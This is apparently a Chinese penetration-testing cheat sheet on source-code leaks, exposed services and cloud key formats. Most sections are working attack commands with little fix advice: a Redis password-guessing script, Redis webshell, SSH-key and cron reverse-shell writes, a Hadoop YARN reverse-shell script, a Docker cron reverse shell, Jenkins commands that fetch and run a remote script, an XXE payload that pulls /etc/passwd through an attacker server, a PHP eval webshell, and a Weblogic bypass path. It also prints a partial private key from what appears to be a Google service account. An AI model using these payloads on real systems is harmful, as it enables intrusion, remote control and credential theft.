敏感信息泄露总结

一、源代码泄露

1、git源码泄露

Git是一个开源的分布式版本控制系统,在执行git init初始化目录的时候,会在当前目录下自动创建一个.git目录,用来记录代码的变更记录等。发布代码的时候,如果没有把.git这个目录删除,就直接发布到了服务器上,攻击者就可以通过它来恢复源代码。
漏洞利用工具:GitHack
github项目地址:

https://github.com/lijiejie/GitHack

用法示例:

GitHack.py http://www.openssl.org/.git/

修复建议:删除.git目录或者修改中间件配置进行对.git隐藏文件夹的访问。

2、SVN源码泄露

SVN是一个开放源代码的版本控制系统。在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。网站管理员在发布代码时,没有使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,可以利用.svn/entries文件,获取到服务器源码。

漏洞利用工具:Seay SVN漏洞利用工具

修复建议:删除web目录中所有.svn隐藏文件夹,开发人员在使用SVN时,严格使用导出功能,禁止直接复制代码。

3、hg源码泄露

Mercurial 是一种轻量级分布式版本控制系统,使用 hg init的时候会生成.hg。
漏洞利用工具: dvcs-ripper
github项目地址:

 https://github.com/kost/dvcs-ripper

用法示例:

rip-hg.pl -v -u http://www.example.com/.hg/

4、CVS泄露

CVS是一个C/S系统,多个开发人员通过一个中心版本控制系统来记录文件版本,从而达到保证文件同步的目的。主要是针对 CVS/Root以及CVS/Entries目录,直接就可以看到泄露的信息。

http://url/CVS/Root 返回根信息 
http://url/CVS/Entries 返回所有文件的结构

漏洞利用工具:dvcs-ripper
github项目地址:

https://github.com/kost/dvcs-ripper.git

运行示例:

rip-cvs.pl -v -u http://www.example.com/CVS/

5、Bazaar/bzr泄露

bzr也是个版本控制工具, 虽然不是很热门, 但它也是多平台支持, 并且有不错的图形界面。
运行示例:

rip-bzr.pl -v -u http://www.example.com/.bzr/

6、网站备份文件泄露

管理员将网站源代码备份在Web目录下,攻击者通过猜解文件路径,下载备份文件,导致源代码泄露。
常见的备份文件后缀:

  • .rar
  • .zip
  • .7z
  • .tar.gz
  • .bak
  • .txt
  • .old
  • .temp

漏洞利用工具:御剑

7、WEB-INF/web.xml泄露

WEB-INF是Java的WEB应用的安全目录,如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。
WEB-INF 主要包含一下文件或目录:

WEB-INF/web.xml : Web应用程序配置文件, 描述了servlet和其他的应用组件配置及命名规则.
WEB-INF/database.properties : 数据库配置文件
WEB-INF/classes/ : 一般用来存放Java类文件(.class)
WEB-INF/lib/ : 用来存放打包好的库(.jar)
WEB-INF/src/ : 用来放源代码(.asp和.php等)

通过找到 web.xml 文件,推断 class 文件的路径,最后直接 class 文件,再通过反编译 class 文件,得到网站源码。

8、DS_Store 文件泄露

.DS_Store是Mac下Finder用来保存如何展示 文件/文件夹 的数据文件,每个文件夹下对应一个。如果将.DS_Store上传部署到服务器,可能造成文件目录结构泄漏,特别是备份文件、源代码文件。
漏洞利用工具:
github项目地址:

 https://github.com/lijiejie/ds_store_exp

用法示例:

ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store

9、SWP 文件泄露

swp即swap文件,在编辑文件时产生的临时文件,它是隐藏文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,文件名为 .filename.swp。
漏洞利用:直接访问.swp文件,下载回来后删掉末尾的.swp,获得源码文件。

10、GitHub源码泄漏

GitHub是一个面向开源及私有软件项目的托管平台。很多人喜欢把自己的代码上传到平台托管,通过关键词进行搜索,可以找到关于目标站点的敏感信息,甚至可以下载网站源码。
类似的代码托管平台还有很多,人才是最大的漏洞。

https://github.com/search?q=smtp+user+@qq.com&type=code

二、服务器导致的泄露

1、Apache类泄露

样例文件泄露

/examples/servlets/servlet/CookieExample
/examples/servlets/servlet/RequestHeadersExample
/examples/jsp/snp/snoop.jsp
/examples/async/async1

2、IIS泄露

典型iis短文件名

https://github.com/lijiejie/IIS_shortname_Scanner

3、Tomcat泄露

tomcat后缀改为大写,会显示源码,只要把jsp文件后缀名改为大写即可

三、组件未授权访问

1.Druid未授权访问

常见的页面泄露

html:
ip/druid/index.html 		 	##Druid Index
ip/druid/sql.html				##Druid sql监控页面
ip/druid/weburi.html			##Druid Web URI监控页面
ip/druid/websession.html		##Druid Web Session监控页面

json:
ip/druid/weburi.json			##Druid Web URI json
ip/druid/websession.json		##Druid Web Session json

Druid 登录接口:
ip/druid/login.html				##Druid登录认证页面

进一步利用如果有的时候session存在可以进行session获取伪造

2.redis未授权访问或者弱口令情况

漏洞原因:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

批量判断方法:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授权访问"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令,密码:%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)

2.1 利用方法

登录redis

redis-cli -h IP

(1)利用redis写webshell

config set dir /home/bmjoker
config set dbfilename redis.php
set webshell "<?php phpinfo();?>"
save

(2)利用"公私钥"认证获取root权限

前提:redis是以root身份运行

mkdir /root/.ssh
config set dir /root/.ssh       
config set dbfilename authorized_keys
set xxx "\n\n\n本地公钥信息\n\n\n"         #"本地公钥信息"替换为自己的公钥信息
save   

(3)crontlab反弹shell

1、攻击者服务器上启动一个监听端口

nc -lvnp 4444

2、进行写

连接redis,写入反弹shell

redis-cli -h IP -p 端口
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/IP/4444 0>&1\n\n"

config set dir /var/spool/cron
config set dbfilename root
save

(4)redis主从复制rce

原理:

Redis实例设置主从模式的时候,Redis的主机实例就可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,进而进行执行拓展的新命令

利用脚本:

https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/Ridter/redis-rce

3、MongoDB未授权访问

概念:MongoDB是一个基于分布式文件存储的数据库,且默认端口
产生原因:
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增删改高危动作)而且可以远程访问数据库
漏洞利用:
ip:端口(访问即可,默认是27017)

工具:

https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe

4、javaMelody

页面:/monitoring

5、swagger扫描

常见的页面

/swagger-ui.html
/swagger/swagger-ui.html
/api/swagger-ui.html
/v1.x/swagger-ui.html
/swagger/index.html
swagger-ui.html#/api-memory-controller
/swagger/ui/
swagger-ui

6、kibana未授权访问

介绍:可以用kibana搜索、查看存放在Elasticsearch中的数据。默认端口是5601。

fofa:/app/kibana

利用方法:

http://<target_IP>:5601/app/kibana#/

7、spring cloud

(1)Springboot之actuator配置不当的漏洞利用

Http 方法 路径 描述
get /autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
get /configprops 描述配置属性(包含默认值)如何注入 Bean
get /beans 描述应用程序上下文里全部的 Bean,以及它们的关系
get /dump 获取线程活动的快照
get /env 获取全部环境属性
get /env/ 根据名称获取特定的环境属性值
get /health 报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供
get /info 获取应用程序的定制信息,这些信息由 info 打头的属性提供
get /mappings 描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系
get /metrics 报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数
get /metrics/ 报告指定名称的应用程序度量值
post /shutdown 关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true(默认为 false)
get /trace 提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等)

sprigboot判断方法:

根据title去确定

根据404页面返回去进行判断

路径漏洞利用:


/jolokia/list#并且返回的json中有“reloadByURL”,关于路径问题:1.x版本的在根路径下注册路由

/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过

/beans 描述应用程序上下文里全部的Bean,以及它们的关系

/env 获取全部环境属性,数据库账户密码泄露,可获取mysql,managodb数据库的用户名和密码

/configprops 描述配置属性(包含默认值)如何注入Bean

/dump 获取线程活动的快照

/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供,git项目地址泄露,可获取git项目的地址

/info 获取应用程序的定制信息,这些信息由info打头的属性提供

/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系

/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数

/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true

/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)获取用户认证字段信息,,比如如下站点存在 actuator 配置不当漏洞,在其 trace 路径下,除了记录有基本的 HTTP 请求信息(时间戳、HTTP 头等),还有用户 token、cookie 字段

/heapdump 路径 #泄露站点内存信息,很多时候会包含用户的账户和密码

(2)进阶利用

利用/jolokia/exec结合起来进行利用

1.xxe
vps的文件

1.fire.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://vps-ip/fire.dtd">%remote;%int;]>
<a>&trick;</a>

2.fire.dtd

<!ENTITY % d SYSTEM "file:///etc/passwd"> 
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

客户端打payload

target-ip/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps-ip!/fire.xml

8、Elasticsearch未授权访问

漏洞原因:
Elasticsearch是用Java开发的企业级搜索引擎,默认端口9200,存在未授权访问漏洞时,可被非法操作数据

接口:

/_nodes #查看节点数据
/_cat/indices #索引
_cat/indices
/_plugin/head
/_nodes/
/_status
/_search?pretty

9、Jenkis未授权访问

概念:是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。

漏洞地址(未经授权访问的):

http://192.168.254.151:8080/manage
http://192.168.254.151:8080/script

典型命令

查询当前用户
println "whoami".execute().text
查看ip配置信息
println "ifconfig -a".execute().text

复现方法:
访问manage页面后点击脚本命令行

写shell

new File(“D:\phpstudy_pro\WWW\ma.php”).write(’<?php @eval($_POST[cmd]);?>’);

利用wget命令远程下载shell

println “wget http://xxx.secpulse.com/tools/back.py -P /tmp/”.execute().text
println “python /tmp/back.py 10.1.1.111 8080”.execute().text
back.py并不需要root权限

poc进行利用漏洞

10、JBoss未授权访问

概念:JBoss是一个基于J2EE的开放源代码的应用服务器。

漏洞原因:
JBoss默认访问jmx-console页面不需要输入密码,或者默认密码admin/admin

部署马方法
两个思路部署马

批量脚本:

https://github.com/joaomatosf/jexboss

11、Hadoop

概念:是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

利用payload:

反弹shell结合shell脚本即可
#!/usr/bin/env python
 
import requests
 
target = 'http://192.168.92.131:8088/'
lhost = '192.168.10.136' # put your localhost ip here, and listen at port 9999
 
url = target +'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
   'application-id': app_id,
   'application-name': 'get-shell',
   'am-container-spec': {
       'commands': {
           'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' %lhost,
       },
   },
   'application-type': 'YARN',
}
requests.post(url, json=data)

12、VNC未授权访问

概念:VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。
VNC 默认端口号为 5900、5901。

12.1 利用方法

(1)安装工具

VNC-Viewer-5.2.0-Windows-32bit.msi

(2)进行连接

在 VNC 客户端输入目标服务器IP,之后点击确定、连接,即可成功控制目标服务器

修复方法:

给vnc配置密码

13、docker未授权访问

漏洞原因:docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。

标识页面:IP:port

①页面显示

{"message":"page not found"}

②查看目标基本信息

:port/version
:port/info

漏洞利用:

#1.新运行

sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash

#2、在容器内执行命令,将反弹shell的脚本写入到
/var/spool/cron/root echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root

vps主机配置

nc -lvvp 12345

14、Zookeper未授权访问

概念:ZooKeeper是一个分布式的、开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。

漏洞原因:
ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。

漏洞复现:

echo envi|nc IP 2181

15、Rsync未授权访问

概念:
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。
漏洞原理:开启了rsync服务但是没设置配置密码,因此攻击者可以读写该服务

漏洞检测:

nmap检测
nmap -p 873 --script rsync-list-modules IP

漏洞复现:

连接后进行执行的常见命令
①查看模块列表
rsync rsync://your-ip:873/

②列出模块下文件
rsync rsync://your-ip:873/src/

③下载文件
rsync -av rsync://your-ip:873/src/etc/passwd

④上传文件
rsync -av shell rsync://your-ip:873/src/etc/cron.d/shell

16、Active MQ 未授权访问

概念:是一款流行的开源消息服务器。默认情况下,ActiveMQ 服务是没有配置安全参数。恶意人员可以利用默认配置弱点发动远程命令执行攻击,获取服务器权限,从而导致数据泄露。

端口:8161
默认账户密码:admin/admin

17、Dubbo 未授权访问

概念:是阿里巴巴公司开源的一个高性能优秀的 服务框架,使得应用可通过高性能的 RPC 实现服务的输 出和输入功能,可以和 Spring框架无缝集成。dubbo 因配置不当导致未授权访问漏洞。

检测方法:

连接接入方法
telent IP port

18、Jupyter Notebook 未授权访问

概念:基于网页的用于交互计算的应用程序。其可被应用于全过程计算:开发、文档编写、运行代码和展示结果

漏洞复现:

选择 new -> terminal 即可创建一个控制台即可执行命令

19、Kubernetes Api Server 未授权

概念:k8s API Server提供了k8s各类资源对象(pod,RC,Service等)的增删改查及watch等HTTP Rest接口,是整个系统的数据总线和数据中心。

常见路径:

/pods
获取环境变量、运行的容器信息、命名空间等信息。
/ui
获取api的仪表盘
/
直接获取api接口的

20、Ldap未授权访问

概念:LDAP中文全称为:轻型目录访问协议(Lightweight Directory Access Protocol),默认使用389, LDAP 底层一般使用 TCP 或 UDP 作为传输协议。

检测方法:

ldapbrowser软件
https://ldapbrowserwindows.com/

软件直接连接,获取目录内容。

21、Memcached 未授权访问

概念:一套分布式的高速缓存系统,由LiveJournal的Brad Fitzpatrick开发,但被许多网站使用。

检测利用方法:

①直接连接即可
telnet IP 11211
或者
nc -vv 11211

②命令利用(列出服务)
stats

22、NFS未授权访问

概念:Network File System(NFS),是由SUN公司研制的UNIX表示层协议(pressentation layer protocol),能使使用者访问网络上别处的文件就像在使用自己的计算机一样。

利用方法:直接连接即可

23、RabbitMQ 未授权访问

概念:一款消息中间件,基于AMQP协议的,可以在发布者和使用者之间交换异步消息。消息可以是人类可读的JSON,简单字符串或可以转换为JSON字符串的值列表。

默认密码:admin/admin

24、sorl未经授权访问

概念:Solr是一个高性能,采用Java开发,基于Lucene的全文搜索服务器。solr的管理界面通常包含如下信息:solr的配置信息(包括路径,用户名,系统版本信息),数据库的配置信息(地址,用户名,密码),数据库搜索数据等。solr未授权访问的危害很大,轻则可查询所有数据库信息,重则可读取系统任意文件,甚至getshell。

漏洞路径:/sorl/admin

25、Spark 未授权访问

概念:Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动访问控制,攻击者可以在集群中执行任意代码。

getshell方法:

msf里面的模块
use exploit/linux/http/spark_unauth_rce

26、weblogic未授权访问

漏洞原理:
Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令

执行命令:

①直接到后台
http://192.168.126.130:7001/console/css/%252e%252e%252fconsole.portal
②在console里面进行执行代码

27、Zabbix 未授权访问

概念:
zabbix是一款服务器监控软件,默认服务开放端口为10051,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。

28、CouchDB 未授权访问

概念:是一个开源数据库,默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能

漏洞页面:

①直接访问
②_config页面(可以获取到配置页面)
/_config

四、云存储

1、阿里云

连接工具:

https://help.aliyun.com/document_detail/209974.html

密钥特征:

accessKeyId:
accessKeySecret:

2、华为云

bucket连接

https://console.huaweicloud.com/console/?region=af-south-1#/obs/manager/buckets

密钥特征:

huawei.oss.ak :
huawei.oss.sk :
huawei.oss.bucket.name =
huawei.oss.endpoint =obs.cn-north-1.myhwclouds.com
huawei.oss.local.path =/data/

3、谷歌云

密钥特征:

{
"type": "service account",
"project id": "alpine-dynamo-341407",
"private key id":
"b62e2544c46402f852a6e42a974e044e71f2e14c",
"private key": "-----BEGIN PRIVATE KEY-----\nMIEVQIBADANBgkqhkiG9WOBAQEFAASCBKcWggSjAgEAAOIBAQCSNz0VjVAShlK0\ntMs7RelDBl0oNcqlL/NtSwTadnigi0QRJvmxg+89fecXMnyrPUXKyJsrOVswl+fs\nFOnbvBRwQfrmDdLlfiU1QEfx1Z6BCPgZNgDyGFOAmA333X5eBiLvbXP8GCgEeHeC\n6cxgf/5oLQYucho8zmbRssgqWdWlipiYGmhRBuHOA7NYVCENtgB2wi6EEzvbro/u
\nd/3koVuPjdLeo6kzlYzqGc5XYMr1fpNJynRg6AGyVRWm1YbtMiD4DsnfRtvtuwYN
\nbXVrGohFqDb8TmNtvvf4NDbiOfLjBSoAZ6AdzrKR1a1tdg8xZeuEHeThhJ22DpFK
\nsSZDgEOnAgMBAAECggEAOTo58Dl/TEianzYc+ttkGYCfr6cAahgfGkh9mmMX/rGl\nsvJysxnhbFu0OT8rsnOwB4zWE20B4on4HRWaCMzdNdiXGW
+qhbl1f9aWkcRc4cK6\njxYlBk4TIX511elipfgAD/QdQL5+Pc4SWMx8f+zli7G6hiCecnVcMX5fTlOBvXpe\n2KUy3yQejXm8xeOKuMSFK4ZwT8ePPcubwEx1Fxw4nlMalkgbv70Eu1+BpOtbvclp\nle1/ypx+/q+7NFU/hGJUsfTlCo3viV6nbleTb+3NfRMy1
.....

4、微软云

密钥特征:

AccountName=michelystorage;
AccountKey=

5、腾讯云

密钥特征:

String secretId="   ";
String secretKey="   ";

6、AWS S3

密钥特征:

aws_access_key_id = 
aws_secret_access_key =

aws_session_token = 
posted @ 2025-03-17 16:28  yjiejie  阅读(472)  评论(0)    收藏  举报